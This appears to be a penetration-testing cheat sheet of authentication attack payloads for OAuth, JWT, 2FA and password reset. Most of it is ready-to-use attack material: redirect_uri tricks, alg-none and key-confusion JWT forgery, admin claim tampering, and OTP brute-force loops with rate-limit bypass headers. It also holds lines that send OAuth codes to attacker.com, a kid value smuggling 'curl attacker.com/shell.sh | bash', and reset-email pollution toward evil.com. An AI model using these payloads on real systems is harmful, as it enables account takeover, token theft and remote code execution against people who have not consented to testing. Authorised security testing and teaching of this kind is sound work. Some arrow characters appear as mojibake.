Auth Payloads¶
Quick reference for OAuth, JWT, 2FA bypasses.
OAuth¶
redirect_uri Manipulation¶
# Basic
?redirect_uri=https://attacker.com
# Path traversal
?redirect_uri=https://legit.com/callback/../../../attacker
?redirect_uri=https://legit.com/callback/..%2f..%2fattacker
# Subdomain confusion
?redirect_uri=https://attacker.legit.com
?redirect_uri=https://legit.com.attacker.com
# Parser confusion
?redirect_uri=https://legit.com@attacker.com
?redirect_uri=https://attacker.com#legit.com
?redirect_uri=https://legit.com%00.attacker.com
# Homograph
?redirect_uri=https://lΠ΅git.com (Cyrillic Π΅)
# Open redirect chain
?redirect_uri=https://legit.com/redirect?url=https://attacker.com
State Parameter Attacks¶
# Missing state β CSRF
# Victim clicks attacker's OAuth link with captured code
# Static/predictable state
state=12345
state=base64(user_id)
Response Mode Manipulation¶
response_mode=query # ?code=xxx
response_mode=fragment # #code=xxx
response_mode=form_post # POST body
response_mode=web_message # postMessage (steal via XSS)
Token Theft¶
// XSS on callback domain
new Image().src = 'https://attacker.com/?code=' + location.search;
// Referer leakage (external resources on callback page)
<img src="https://attacker.com/track.gif">
Client Secret Exposure¶
# Search mobile apps
strings app.apk | grep -i "client_secret"
# JavaScript bundles
grep -r "client_secret" *.js
JWT¶
Quick Commands¶
# Quick decode (no tools)
echo "eyJhbG..." | cut -d. -f2 | base64 -d | jq
# Signature stripping test
jwt_tool <token> -X s
# Token with trailing dot (truncated sig)
# header.payload.
Signature Tests¶
# Test all attacks
python3 jwt_tool.py -M at -t "https://target.com/api" \
-rh "Authorization: Bearer eyJhbG..."
# Decode
python3 jwt_tool.py <JWT>
None Algorithm¶
python3 jwt_tool.py <JWT> -X a
# Manual: Change alg to "none", remove signature
# Result: eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Algorithm Confusion (RS256 β HS256)¶
# Get public key
openssl s_client -connect target.com:443 | sed -n '/-----BEGIN/,/-----END/p' > pub.pem
# Sign with public key as HMAC secret
python3 jwt_tool.py <JWT> -X k -pk pub.pem
Weak Secret Brute Force¶
# jwt_tool
python3 jwt_tool.py <JWT> -C -d wordlist.txt
# hashcat
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# Once cracked
python3 jwt_tool.py <JWT> -S hs256 -p "secret" -pc user -pv admin
JWK Header Injection¶
JKU/X5U Header Injection¶
# Host malicious JWKS
python3 jwt_tool.py -V -js JWKS
# Point jku to attacker server
python3 jwt_tool.py <JWT> -X s -ju https://attacker.com/jwks.json
kid Parameter Injection¶
# Path traversal (sign with known file content)
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# SQLi
{"kid": "key1' UNION SELECT 'attacker_secret' --"}
# Command injection
{"kid": "/dev/null; curl attacker.com/shell.sh | bash"}
# Template injection
{"alg": "HS256", "kid": "{{config.SECRET_KEY}}"}
# JWK header embedding (self-signed)
{"alg": "RS256", "jwk": {"kty": "RSA", "n": "attacker_key_n", "e": "AQAB"}}
Claim Manipulation¶
# Change role
python3 jwt_tool.py <JWT> -I -pc role -pv admin
# Change user ID
python3 jwt_tool.py <JWT> -I -pc sub -pv victim_id
# Extend expiration
python3 jwt_tool.py <JWT> -I -pc exp -pv 9999999999
2FA/MFA Bypass¶
Direct Endpoint Access¶
# Skip 2FA page, access protected endpoint directly
GET /dashboard
GET /api/user/profile
GET /account/settings
Response Manipulation¶
// Original
{"success": false, "error": "Invalid OTP"}
// Modified
{"success": true}
// Or delete fields
"2fa_required": true β delete
"mfa_required": true β delete
Brute Force¶
# 4-digit (10,000 combinations)
for i in $(seq -w 0 9999); do
curl -X POST https://target.com/verify-otp -d "code=$i"
done
# 6-digit with ffuf
ffuf -u https://target.com/verify -X POST \
-d '{"code":"FUZZ"}' -w <(seq -w 0 999999) \
-mc 200 -fr "invalid"
Rate Limit Bypass¶
# IP rotation
X-Forwarded-For: 1.1.1.1
X-Real-IP: 2.2.2.2
# Resend code resets counter
POST /resend-otp
# Different session per attempt
Blank/Null Codes¶
Multi-Value Submission¶
Token Reuse¶
Password Reset Bypass¶
OAuth/SSO Bypass¶
Race Condition¶
# HTTP/2 single-packet attack
# Turbo Intruder
for i in range(50):
engine.queue(otp_request, gate='race1')
engine.openGate('race1')
Remember Me Exploitation¶
# Predictable token
Cookie: remember_me=base64(user_id:timestamp)
# IP-based
X-Forwarded-For: <victim_ip>
Session/Password Reset¶
Token Manipulation¶
# Predictable tokens
base64(email:timestamp)
md5(email)
sequential: 0001, 0002, 0003
# Token reuse
Use expired/old token
# Remove token parameter
/reset?token= (empty)
/reset (no token param)
Email Parameter Pollution¶
email=victim@target.com&email=attacker@evil.com
email=victim@target.com,attacker@evil.com
email=victim@target.com%0acc:attacker@evil.com
Host Header Poisoning¶
Response Manipulation¶
Quick Checklist¶
OAuth¶
- redirect_uri manipulation (path, subdomain, parser)
- Missing/static state parameter
- XSS on callback domain
- Client secret in apps/JS
JWT¶
- Modify payload, test if signature validated
- alg:none attack
- RS256 β HS256 confusion
- Brute force HMAC secret
- JWK/JKU/kid injection
2FA¶
- Direct endpoint access (skip 2FA)
- Response manipulation
- Brute force + rate limit bypass
- Blank/null codes
- Password reset disables 2FA
- OAuth bypass
Auth chains: see OAuth to ATO